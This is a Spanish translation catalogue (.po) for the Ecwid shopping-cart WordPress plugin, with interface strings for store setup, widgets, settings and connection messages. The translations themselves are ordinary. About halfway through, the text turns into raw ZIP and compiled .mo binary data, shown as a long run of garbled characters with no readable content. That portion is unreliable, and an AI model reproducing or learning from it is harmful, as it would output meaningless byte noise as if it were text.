includes/class-ecwid-products.php:228 ecwid-shopping-cart.php:2112 msgid "Products" msgstr "Productos" #: includes/class-ecwid-admin.php:79 includes/class-ecwid-admin.php:80 msgid "Sales" msgstr "Ventas" #: ecwid-shopping-cart.php:1119 msgid "Report a problem with the store" msgstr "Informar un problema con la tienda" #: ecwid-shopping-cart.php:1036 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "El complemento %s no funciona bien con mi tema «%s»" #: templates/admin/welcome-connection-message.php:22 #: templates/admin/welcome-connection-message.php:28 msgid "Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL." #. Description of the plugin msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos." #. Plugin URI of the plugin msgid "http://www.ecwid.com?partner=wporg" msgstr "http://www.ecwid.com?partner=wporg" #: templates/store-svg.php:12 msgid "Demo Store" msgstr "Tienda de demostración" #: templates/store-svg.php:9 msgid "Your store will be shown here!" msgstr "¡Su tienda se mostrará aquí!" #: templates/product-popup.php:248 templates/store-popup.php:256 msgid "Update" msgstr "Actualizar" #: templates/store-popup.php:253 msgid "Insert into page" msgstr "Insertar en la página" #: templates/store-popup.php:246 msgid "Demo store" msgstr "Tienda de demostración" #: templates/store-popup.php:80 msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>." #: templates/store-popup.php:74 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:86 msgid "Show categories" msgstr "Mostrar categorías" #: templates/store-popup.php:66 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:94 msgid "Show minicart" msgstr "Mostrar minicarrito" #: templates/store-popup.php:58 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:78 msgid "Show search" msgstr "Mostrar búsqueda" #: templates/store-popup.php:53 msgid "Product catalog will be shown automatically" msgstr "El catálogo de productos se mostrará automáticamente" #: templates/store-popup.php:52 msgid "Choose widgets to show" msgstr "Elija los «widgets» a mostrar" #: templates/admin/welcome-create.php:7 msgid "Connect your store" msgstr "Conecte su tienda" #: templates/admin/welcome-no_oauth.php:6 #: templates/importer/import-no-token.tpl.php:6 #: includes/class-ecwid-message-manager.php:291 msgid "Connect" msgstr "Conectar" #: templates/admin/legacy-connect.tpl.php:68 msgid "Save and connect your %s store to the site" msgstr "Guarde y conecte su tienda de %s al sitio web" #: templates/admin/legacy-connect.tpl.php:59 msgid "Enter your Store ID here:" msgstr "Introduzca el ID de su tienda aquí:" #: templates/admin/legacy-connect.tpl.php:52 msgid "Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the \"Dashboard\" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration." msgstr "El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro." #: templates/admin/legacy-connect.tpl.php:50 msgid "Find your Store ID" msgstr "Encuentre el ID de su tienda" #: templates/admin/legacy-connect.tpl.php:46 msgid "You will be able to sign up through your existing Google, Facebook or PayPal profiles as well." msgstr "También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal." #: templates/admin/legacy-connect.tpl.php:42 msgid "I already have an account, sign in" msgstr "Ya tengo una cuenta, iniciar sesión" #: templates/admin/legacy-connect.tpl.php:35 msgid "Create a new %s account which you will use to manage your store and inventory. The registration is free." msgstr "Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito." #: templates/admin/legacy-connect.tpl.php:24 msgid "The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps." msgstr "El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos." #: templates/admin/legacy-connect.tpl.php:21 msgid "Thank you for choosing %s to build your online store" msgstr "Gracias por elegir %s para construir su tienda en línea" #: templates/admin/simple-dashboard.php:58 msgid "Open control panel" msgstr "Abrir el panel de control" #: templates/admin/simple-dashboard.php:42 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "Su tienda de %s está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:39 msgid "Greetings!" msgstr "¡Saludos!" #: templates/admin/simple-dashboard.php:34 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:31 msgid "Congratulations!" msgstr "¡Enhorabuena!" #: templates/admin/simple-dashboard.php:18 msgid "Disconnect store" msgstr "Desconectar tienda" #: templates/admin/legacy-connect.tpl.php:65 #: templates/admin/simple-dashboard.php:14 templates/store-popup.php:244 #: templates/store-svg.php:14 #: includes/integrations/class-ecwid-integration-gutenberg.php:104 #: includes/gutenberg/class-ecwid-gutenberg.php:130 msgid "Store ID" msgstr "ID de la tienda" #: templates/admin/welcome-connection-message.php:15 msgid "Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again." msgstr "Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo." #: templates/admin/legacy-connect.tpl.php:57 #: templates/admin/welcome-no_oauth.php:3 msgid "Enter your Store ID" msgstr "Introduzca el ID de su tienda" #: templates/store-popup.php:221 msgid "Default view mode on search results" msgstr "Modo de vista predeterminado en los resultados de búsqueda" #: templates/store-popup.php:214 templates/store-popup.php:232 msgid "Table" msgstr "Tabla" #: templates/store-popup.php:211 templates/store-popup.php:229 msgid "List" msgstr "Lista" #: templates/store-popup.php:208 templates/store-popup.php:226 msgid "Grid" msgstr "Cuadrícula" #: templates/store-popup.php:204 msgid "Default view mode on product pages" msgstr "Modo de vista predeterminado en las páginas de productos" #: templates/store-popup.php:184 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos." #: templates/store-popup.php:169 msgid "Table view" msgstr "Vista de tabla" #: templates/store-popup.php:152 msgid "List view" msgstr "Vista de lista" #: templates/store-popup.php:125 msgid "Grid view" msgstr "Vista de cuadrícula" #: templates/store-popup.php:123 msgid "Number of products per page" msgstr "Número de productos por página" #: templates/store-popup.php:191 msgid "Number of categories per row" msgstr "Número de categorías por fila" #: templates/advanced-settings.php:98 msgid "Save changes" msgstr "Guardar cambios" #: includes/class-ecwid-product-browser.php:202 msgid "Default category ID" msgstr "ID de categoría predeterminada" #: templates/store-popup.php:98 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:127 #: includes/integrations/class-ecwid-integration-gutenberg.php:427 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:56 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:248 msgid "Store root category" msgstr "Categoría raíz de la tienda" #: templates/store-popup.php:90 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:101 msgid "Category shown by default" msgstr "Categoría mostrada por defecto" #: templates/admin-message.php:47 msgid "Never show this message again" msgstr "Nunca mostrar este mensaje otra vez" #: templates/product-popup.php:194 lib/ecwid_platform.php:209 #: js/gutenberg/blocks.build.js:1 msgid "Price" msgstr "Precio" #: includes/class-ecwid-store-editor.php:75 #: includes/integrations/class-ecwid-integration-gutenberg.php:102 #: includes/gutenberg/class-ecwid-gutenberg.php:128 msgid "Edit Appearance" msgstr "Editar apariencia" #: includes/class-ecwid-store-editor.php:60 msgid "Edit Store" msgstr "Editar tienda" #: templates/store-popup.php:11 templates/store-popup.php:21 #: includes/class-ecwid-store-editor.php:52 msgid "Add Store" msgstr "Añadir tienda" #: includes/class-ecwid-message-manager.php:261 msgid "Back to Store Settings" msgstr "Regresar a la configuración de la tienda" #: includes/class-ecwid-message-manager.php:252 msgid "Your store is almost ready!" msgstr "¡Su tienda ya está casi lista!" #: includes/class-ecwid-message-manager.php:243 msgid "Take a few simple steps to complete store setup" msgstr "Siga unos sencillos pasos para completar la configuración de la tienda" #: includes/widgets/class-ecwid-widget-products-base.php:205 msgid "Number of products to show" msgstr "Número de productos para mostrar" #: includes/widgets/class-ecwid-widget-recently-viewed.php:89 msgid "Store Link Title" msgstr "Título del enlace de la tienda" #: templates/product-popup.php:183 includes/class-ecwid-product-browser.php:249 #: includes/widgets/class-ecwid-widget-products-base.php:199 #: js/gutenberg/blocks.build.js:1 msgid "Title" msgstr "Título" #: includes/widgets/class-ecwid-widget-recently-viewed.php:69 #: includes/widgets/class-ecwid-widget-recently-viewed.php:91 msgid "You have not viewed any product yet. Open store." msgstr "Aún no ha visto ningún producto. Abra la tienda." #: includes/widgets/class-ecwid-widget-recently-viewed.php:11 msgid "Recently Viewed Products" msgstr "Productos vistos recientemente" #: includes/widgets/class-ecwid-widget-recently-viewed.php:12 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda." #: includes/widgets/class-ecwid-widget-store-link.php:35 msgid "Text" msgstr "Texto" #: includes/themes/class-ecwid-theme-twentyseventeen.php:48 #: includes/themes/class-ecwid-theme-twentyseventeen.php:54 #: includes/themes/class-ecwid-theme-twentyfifteen.php:34 #: includes/themes/class-ecwid-theme-twentyfifteen.php:40 #: includes/themes/class-ecwid-theme-twentysixteen.php:36 #: includes/themes/class-ecwid-theme-twentysixteen.php:42 #: includes/widgets/class-ecwid-widget-store-link.php:31 msgid "Shop" msgstr "Tienda" #: includes/widgets/class-ecwid-widget-store-link.php:10 msgid "Store Page Link" msgstr "Enlace a la página de la tienda" #: includes/widgets/class-ecwid-widget-store-link.php:9 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web." #: includes/widgets/class-ecwid-widget-vcategories.php:9 msgid "Store Categories" msgstr "Categorías de la tienda" #: includes/widgets/class-ecwid-widget-vcategories.php:8 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda." #: includes/class-ecwid-nav-menus.php:344 #: includes/class-ecwid-nav-menus.php:347 #: includes/widgets/class-ecwid-widget-search.php:13 msgid "Product Search" msgstr "Búsqueda de productos" #: includes/widgets/class-ecwid-widget-search.php:12 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda." #: includes/widgets/class-ecwid-widget-minicart-miniview.php:8 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-minicart.php:41 #: includes/widgets/class-ecwid-widget-random-product.php:67 #: includes/widgets/class-ecwid-widget-search.php:46 #: includes/widgets/nsf-minicart-editor.tpl.php:50 #: includes/widgets/class-ecwid-widget-minicart-miniview.php:41 #: includes/widgets/class-ecwid-widget-vcategories.php:39 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:76 msgid "Title:" msgstr "Título:" #: includes/class-ecwid-nav-menus.php:338 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:20 msgid "Shopping Cart" msgstr "Carrito de compras" #: includes/widgets/class-ecwid-widget-minicart.php:8 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:19 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-badge.php:51 #: includes/widgets/class-ecwid-widget-badge.php:63 msgid "Ecwid e-commerce widgets" msgstr "«Widget» de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:45 #: includes/widgets/class-ecwid-widget-badge.php:57 msgid "Ecwid shopping cart" msgstr "Carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:39 #: includes/widgets/class-ecwid-widget-badge.php:75 msgid "Ecwid free shopping cart" msgstr "Carrito de compras gratuito de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:33 #: includes/widgets/class-ecwid-widget-badge.php:69 msgid "Ecwid ecommerce solution" msgstr "Solución de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:21 #: includes/widgets/class-ecwid-widget-badge.php:27 msgid "Ecwid shopping cart widget" msgstr "«Widget» de carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:14 msgid "Ecwid Badge" msgstr "Distintivo de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:13 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid." #: ecwid-shopping-cart.php:2791 msgid "Recommendations for Your Online Store" msgstr "Recomendaciones para su tienda en línea" #: includes/class-ecwid-admin.php:528 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:77 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:87 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:95 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:103 #: ecwid-shopping-cart.php:2056 msgid "Settings" msgstr "Configuraciones" #: includes/class-ecwid-admin.php:165 msgid "Advanced" msgstr "Avanzado" #: includes/class-ecwid-admin.php:164 msgid "Advanced settings" msgstr "Configuraciones avanzadas" #: templates/product-popup.php:206 templates/store-popup.php:14 #: templates/store-popup.php:34 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:44 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:78 #: js/gutenberg/blocks.build.js:1 msgid "Appearance" msgstr "Apariencia" #: includes/class-ecwid-admin.php:28 includes/class-ecwid-admin.php:59 #: includes/class-ecwid-admin.php:459 ecwid-shopping-cart.php:2110 msgid "Dashboard" msgstr "Panel" #: includes/class-ecwid-admin.php:57 ecwid-shopping-cart.php:2056 msgid "Setup" msgstr "Configuración" #: includes/class-ecwid-admin.php:47 msgid "%s shopping cart settings" msgstr "Configuraciones del carrito de compras de %s" #: includes/class-ecwid-nav-menus.php:132 #: includes/class-ecwid-nav-menus.php:361 #: includes/class-ecwid-nav-menus.php:364 #: includes/class-ecwid-nav-menus.php:372 includes/class-ecwid-admin.php:206 #: includes/class-ecwid-admin.php:207 includes/class-ecwid-admin.php:220 #: includes/class-ecwid-admin.php:221 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:63 #: includes/class-ecwid-admin-storefront-page.php:257 #: ecwid-shopping-cart.php:1657 msgid "Store" msgstr "Tienda" #: ecwid-shopping-cart.php:1306 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Tienda en línea con tecnología de %s</a>" #: includes/class-ecwid-admin.php:489 msgid "Sell on Facebook" msgstr "Vender en Facebook" #: templates/admin/simple-dashboard.php:48 ecwid-shopping-cart.php:1094 msgid "Visit storefront" msgstr "Visitar escaparate virtual" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CR.monu�„[µü¤��������Þ•����e�����D��5��l&������@3�����A3��H���Y3�����¢3�����³3�����¶3�����¾3�����Ï3�� ���Ø3��.���æ3�� ���4�� ��� 4�����,4�����J4�����e4��ç��4�����g6��B���€6�����Ã6�����à6�����þ6�����7��$���97�����^7�����r7�����‹7��Ñ��� 7��/���r8�� ���¢8�� ���®8�����¸8�����Ï8�����ã8�����ö8�����9��#���%9�� ���I9�����T9�����o9�����~9�� ���ž9�� ���¿9��>���Ë9��"��� :��·���-:�����å:��k���ü:��K���h;��S���´;��A���<��R���J<��G���<��4���å<�� ���=�����&=�����/=��&���A=�����h=��T���{=�� ���Ð=�����Û=�����à=�����÷=�����>�����>�����#>�� ���*>�����8>�����?>�� ���G>�� ���S>�� ���`>�����l>�����>��4���”>�� ���É>�����Ö>�����Þ>�����í>��X���ý>�� ���V?�����`?��/���g?��,���—?�����Ä?�����Ë?�����Ð?�� ���â?�� ���ì?�����÷?�� ���ÿ?����� @�����@�����,@�����A@�����[@�����{@�����“@�����š@�����±@�����¸@�����Í@�����Ü@��.���ë@�����A�����5A��D���LA�����‘A����� A�� ���¯A�� ���ÐA�����ÞA�����ïA�����÷A����� B����� B��x���3B�����¬B�� ���¼B�����ÇB�� ���ÏB�����ðB�����C�����C�����*C�� ���=C�����JC��5���\C��h���’C��¤���ûC����� D�� ���³D�� ���ÀD��5���ÍD�����E�� ���E��x���%E��i���žE�����F�����F�����4F�����QF�����bF�����äF�� ���õF�����ÿF�����G�����$G��"���7G��#���ZG��/���~G�� ���®G�� ���¹G�����ÄG�����ËG�����ÞG�����óG�����H�����H�����-H�����?H��!���WH�����yH�����H��6���£H��!���ÚH�����üH��*���I��%���:I�����`I��'���vI�����žI�����³I��,���ÈI�����õI��q���J��s���yJ��#���íJ��H���K��O���ZK��1���ªK��s���ÜK�� ���PL��¡���\L��v���þL�����uM��$���zM�����ŸM�����±M�����·M�� ���ÓM�����ßM�����ïM����� N��s���N�����‘N�����ªN�����ÃN��=��ÜN��‰���P����¤P����¼Q�����ÜR�����ðR����� S�����S�� ��� S�� ���.S�� ���;S�� ���FS�� ���TS��œ���^S��¢���ûS�����žT�����²T�����ÌT��B���æT��$���)U�����NU�����VU�����mU�� ���€U�����‹U�����¦U�� ���¸U�����ÄU�� ���ÛU��(���æU�����V�� ���V�����V��±���#V��.���ÕV��Û���W��D���àW��h���%X�����ŽX��_���“X��C���óX�����7Y�����IY��/���_Y��/���Y�����¿Y��/���ÔY��(���Z�����-Z��9���GZ��I���Z��2���ËZ��"���þZ��:���![�����\[��"���t[��!���—[�����¹[�����Ø[�����Ý[�����ñ[��$��� \��*���1\��B���\\�����Ÿ\�� ���½\�����È\�� ���Ý\�����è\��+���ï\�����]��-���,]��P���Z]�����«]��#���Á]��'���å]��)��� ^�� ���7^�����X^��%���g^��+���^��+���¹^�����å^�����_�����_�����!_�� ���2_��$���?_��9���d_��%���ž_��:���Ä_�����ÿ_�����`�����`�����&`�����(`�� ���=`�� ���K`�� ���Y`�� ���c`�����o`�����`�����†`�� ���Ž`�����™`�����ž`�� ���¯`�����º`�����É`�� ���Î`��–���Ø`�����oa�����„a�����ša��S���œa�����ða��'���ÿa��[���'b�� ���ƒb�����b�� ���¢b�����¬b�� ���³b�� ���¾b�����Éb�����Òb�� ���×b��9���âb�����c�� ���:c�� ���Dc�� ���Nc�� ���Xc�����bc��Ò���wc��I���Jd�����”d�����±d�����Íd�� ���èd�� ���ôd�� ���e�����e�� ��� e�����-e�����@e�����Ue�����]e�����de��þ���je��å���if��#���Og�����sg�� ���‚g��ß���Œg�����lh�����th�� ���i�� ���i�����i�����%i��O��*i��4���zj�����¯j�� ���Áj�� ���Îj�����Ûj�����äj�� ���ìj�����új�� ����k����� k�����k�����'k�����:k�����Rk�� ���jk�����vk�����…k�����˜k�����³k��+���Ëk�����÷k�� ��� l�����l�����*l�����Bl�����al�� ���xl�����†l��I���l��'���Ùl�����m�����m�����$m�����=m�����Em��#���Xm�� ���|m�����†m�� ���m�����šm�����©m�����¹m��"���Òm�����õm��%���n�� ���4n�����>n�����Vn�����en�����…n�����n�����“n�����•n�����™n�����Ÿn�����®n��*���³n�� ���Þn�����ën�����òn�����o�����o�����/o�� ���8o�����Co�����So�����do�����vo�� ���‡o��"���”o�����·o�����Ëo�� ���Ýo�����êo�����üo�����p����� p�����p�� ���"p�����0p��#���Kp�����op�����‚p�����¢p�����·p�����¼p�����Ûp��V���ëp�� ���Bq�� ���cq�����qq�� ���ƒq�����‘q��&���¥q��(���Ìq�����õq�����r�� ���&r�����2r�� ���Br�� ��cr�� ���ns�����ys��(���“s��*���¼s��‡��çs�� ���ow�� ���zw�����‡w��•���Žw��.���$x�����Sx�����Yx�����jx�����€x�����”x�����¥x�����µx��Ü���¾x��ƒ���›y�����z�����0z�� ���Az�����Lz�����\z�����rz�����ƒz�����’z�����£z�����¶z�����Îz�����âz�� ���ýz�����{�����{�����${�����4{�����I{�� ���O{��/���Z{��N���Š{�����Ù{�� ���Þ{��4���é{��¨���|��=���Ç|��œ���}��-���¢}��Á���Ð}��%���’~��M���¸~�������P�����H���h��P���±�����€�����€�� ���€�� ���"€�����/€�����A€��’���H€��©���Û€��®���…�� ��4‚��E��>ƒ��‰���„…��]���†��ñ���l†��%��^‡��*��„ˆ��*��¯‰��y���ÚŠ��>���T‹��¡���“‹��h���5Œ��L���žŒ�����ëŒ�� ���ôŒ�����þŒ����������,�����5�����<�����P�����l�����|����������Ÿ�����¯�����¿�����Ô�����ä�����õ�����Ž�� ���Ž��!��� Ž��j���BŽ��—���­Ž�����E��^���Å�����$�����,�����F�� ���V��‡���c�����ë�� ��ü��±���’��C��¹’��B��ý“��k���@•�����¬•��¨���­–��©���V—�� ����˜��0���!˜��^���R˜�����±˜��:���Ę��>���ÿ˜�����>™�����N™�����j™�� ���ƒ™��2���™��?���Ù��Ò���š�����Öš��’���òš�����…›��y���•›��A���œ�����Qœ�����oœ��€��Žœ��:���ž�����Jž�����_ž�� ���ž��"��� ž�����Þ��"���ßž��H���Ÿ��)���KŸ�����uŸ�����Ÿ��&���°Ÿ��(���ן������ ����� �����  �����4 ��Ü��G �����$¢��e���:¢��'��� ¢�����È¢�� ���Ë¢�����Ö¢�� ���ï¢�����ü¢��5���£�� ���M£�� ���Y£�����f£�����„£��,���Ÿ£��Š��Ì£�����W¦��B���v¦��!���¹¦�����Û¦��!���û¦�����§��0���=§�����n§�����Ч�����£§����¹§��*���½¨�����è¨�����ù¨��(���©��!���1©�����S©��*���p©�����›©��+���¹©�� ���å©��!���ó©�����ª��6���)ª��1���`ª�����’ª��C���£ª��/���çª��ø���«��!���¬�����2¬��e���À¬��n���&­��Z���•­��o���ð­��^���`®��R���¿®�����¯�����,¯�����5¯��5���O¯�����…¯��h��� ¯�� ��� °�� ���°��!���!°��)���C°�����m°�����}°�����ƒ°�����‰°�����ž°�����¤°�����«°�����À°�� ���Ó°�����à°�����þ°��:���±�����O±�� ���`±�����n±�����‡±��`���¤±�� ���²�� ���²��=���²��9���W²�����‘²�����š²�����¢²�����±²�����β�� ���á²�� ���ë²�� ���÷²��%���³��!���(³�����J³��5���j³��(��� ³�����ɳ��%���Ò³�����ø³��!����´�����"´�����2´��C���B´��(���†´�����¯´��g���Ï´�����7µ�����Qµ��.���jµ�����™µ�����¨µ�����·µ�����Àµ�����Òµ�����êµ��¢���üµ��%���Ÿ¶��!���Ŷ�� ���ç¶��!���ñ¶�����·�����-·�����J·�����e·�� ���€·�����·��8���«·��j���ä·��´���O¸�����¹�� ���¹�����(¹��I���7¹��$���¹�����¦¹�����¯¹��x���@º�����¹º��'���Ѻ��5���ùº�����/»��œ���G»�����ä»�����ö»�����ü»�����¼�����6¼��9���U¼��;���¼��0���˼�����ü¼�����½�����,½�����4½�����H½�����b½�����u½�����‘½�����¦½�����À½��2���à½��!���¾��#���5¾��I���Y¾��+���£¾�����Ͼ��6���î¾��/���%¿�����U¿��2���s¿��&���¦¿�����Í¿��E���ì¿�����2À��š���DÀ��ƒ���ßÀ��*���cÁ��P���ŽÁ��`���ßÁ��:���@Â�����{Â�� ��� Ã��¿���Ã��€���ÔÃ�����UÄ��3���[Ä�����Ä�����­Ä��'���¶Ä�����ÞÄ�����òÄ��5���Å�����DÅ��’���`Å��,���óÅ��+��� Æ��$���LÆ��t��qÆ��¤���æÇ��A��‹È��h��ÍÉ�����6Ë��)���RË�����|Ë�����ƒË�����•Ë�����§Ë�� ���·Ë��$���ÅË�����êË��Å���ùË��Ç���¿Ì�����‡Í��$���¥Í�����ÊÍ��Y���åÍ��*���?Î�����jÎ�����rÎ�����‘Î�����®Î�����¾Î��%���ÓÎ�����ùÎ����� Ï�� ���$Ï��4���/Ï�� ���dÏ�����pÏ�����…Ï��ø���‹Ï��;���„Ð��þ���ÀÐ��D���¿Ñ��g���Ò�����lÒ��p���tÒ��Q���åÒ�����7Ó�����KÓ��]���cÓ��>���ÁÓ������Ô��D���Ô��1���_Ô�����‘Ô��I���©Ô��g���óÔ��/���[Õ��$���‹Õ��7���°Õ�����èÕ��0���Ö��%���8Ö��"���^Ö�����Ö�����‡Ö��%���£Ö��/���ÉÖ��7���ùÖ��@���1×��.���r×�����¡×��#���±×�� ���Õ×�����á×��)���ê×�����Ø��>���,Ø��h���kØ��!���ÔØ��%���öØ��1���Ù��3���NÙ��'���‚Ù�����ªÙ��(���ÅÙ��)���îÙ��)���Ú�����BÚ�����aÚ�����€Ú�����‰Ú����� Ú��-���·Ú��E���åÚ��-���+Û��8���YÛ�����’Û�� ���®Û�����ºÛ�����ÏÛ�� ���ÑÛ�����òÛ�����Ü�����Ü����� Ü�����7Ü�����JÜ�����RÜ�����[Ü�� ���mÜ�����wÜ�����ˆÜ�����™Ü�����¬Ü�����²Ü��»���ÁÜ�����}Ý�����˜Ý�����´Ý��s���¶Ý�����*Þ��/���EÞ��q���uÞ�����çÞ�����ûÞ�� ���ß�����&ß�� ���-ß�� ���7ß�� ���Aß�����Lß�� ���Sß��A���_ß��#���¡ß�����Åß�����×ß�� ���éß�� ���õß�����ÿß��)��à��c���Há�����¬á�� ���Ìá��!���íá�����â�� ���â�����+â��#���<â�����`â�����qâ�����‹â�����§â�����°â�����¸â��I��½â��ú���ä��%���å�����(å�� ���:å��×���Gå�����æ��¢���$æ�����Çæ�����Ýæ�����ðæ�����÷æ��•���ç��9���–è�����Ðè�� ���èè�� ���õè�� ���é�� ��� é�����é�����*é�����1é�����Bé�����Ké�����fé��#���é��%���¥é�����Ëé�����Üé�� ���óé�� ���ê��+���5ê��7���aê��"���™ê�����¼ê�����Ðê��*���æê��1���ë��$���Cë�����hë�� ���}ë��a���‡ë��0���éë�����ì�����/ì�����?ì�����^ì�� ���gì��4���ˆì�� ���½ì�����Çì�����Ðì�����éì�����üì�����í��5���-í�����cí��(���‚í�� ���«í��"���·í�����Úí��"���ìí�����î�����î����� î�����"î�����&î�����-î�����>î��-���Fî�����tî�����„î�����‹î�����Ÿî��"���°î�����Óî�����Üî�����íî�����ï�����ï�����2ï�����Eï��0���Tï��&���…ï�����¬ï�����Àï�����×ï�����ëï�����ûï����� ð�����ð�����#ð��"���6ð��+���Yð�����…ð��/���¢ð��!���Òð�����ôð��+���üð�����(ñ��ˆ���<ñ��(���Åñ�����îñ�����ò����� ò��$���;ò��8���`ò��8���™ò��)���Òò��#���üò����� ó�����2ó��)���Nó��M��xó�����Æô��$���Õô��2���úô��L���-õ��,��zõ�� ���§ù�����´ù�����Ìù��½���Óù��?���‘ú�����Ñú�����Øú��!���ñú��#���û�����7û�����Vû�����uû����…û��™���™ü�����3ý�����Sý�����lý�� ���ý�����¢ý�����Áý�����Ùý�����ðý��$���þ��$���+þ�����Pþ�����nþ�����Žþ�����¡þ�����¨þ�����¼þ�����Ðþ�����æþ�����ìþ��G���ûþ��W���Cÿ�����›ÿ�����¡ÿ��8���±ÿ��©���êÿ��Y���”��‹���î��:���z�×���µ�'����_���µ�����X���&�^����U���Þ����4����<� ���Q� ���^����l����ˆ�»���‘�Ã���M�Ç����#��Ù�­��ý�‘���« �u���= ���³ �@��Æ �@���U��H�›���ž�P���:�®���‹�~���:�a���¹��������1����E����]����v� ���”����Ÿ�$���¶����Û����í� ���� ��������,���6����c��������š����¬� ���¿�#���Ì�œ���ð�š����…���(�]���®� ��� ��������0� ���I�¹���W�����V��&�×���}�‘��U�`��ç�‘���H�+��Ú�Ô����É���Û�'���¥ �2���Í �^����!����_!�A���v!�G���¸!�����"����"�$���6"� ���["�8���g"�;��� "�5��Ü"� ���$�¯���3$����ã$�¡���û$�R���%����ð%���� &�Û��-&�[��� (����e(� ���}(����‡(�"���Ž(����±(�"���Í(�H���ð(�)���9)����c)�(���~)����§)����¸)����Ì)����á)����÷)����*��������I��������������“��k������R��W��y����$��%���Ü�������������í���������í��‚���þ�������±��#��Æ���y���R��#������¸��J���Z��À�������?���B��^��>��ã���Ý��¯������������������ ��� ��3����1��–���U������>�����Ç��K��q��š�������¸�����³��á���Ø���-�������Ð����������—����v���8������:���/���´���g��d���Í��������������S��?��¨��È������ò����������¢���'��Þ�������,�������Ê�����j��Z������§��P��º�������W���Ã������Å���S��Ï�������]����������T������¿���Ñ�� �������6���®������ú���”�������r����������¹���c��9������¿��é��,��Ò�������¥���������k�����������£���%��������������É��â���������Ú������½�����������Ë���L���"�������a��ß��á��ü��ª��W��t����Â���������Þ������}��.��õ��÷�� ��$������K������G��û���×��ú��~���������������0������w�������Ò�����E��¨���ï���7���Õ����������������������‰���Q��Ž������F��ª�����������¤���¾��:��\���Ï��������������O�����X��'��*��3������1������ 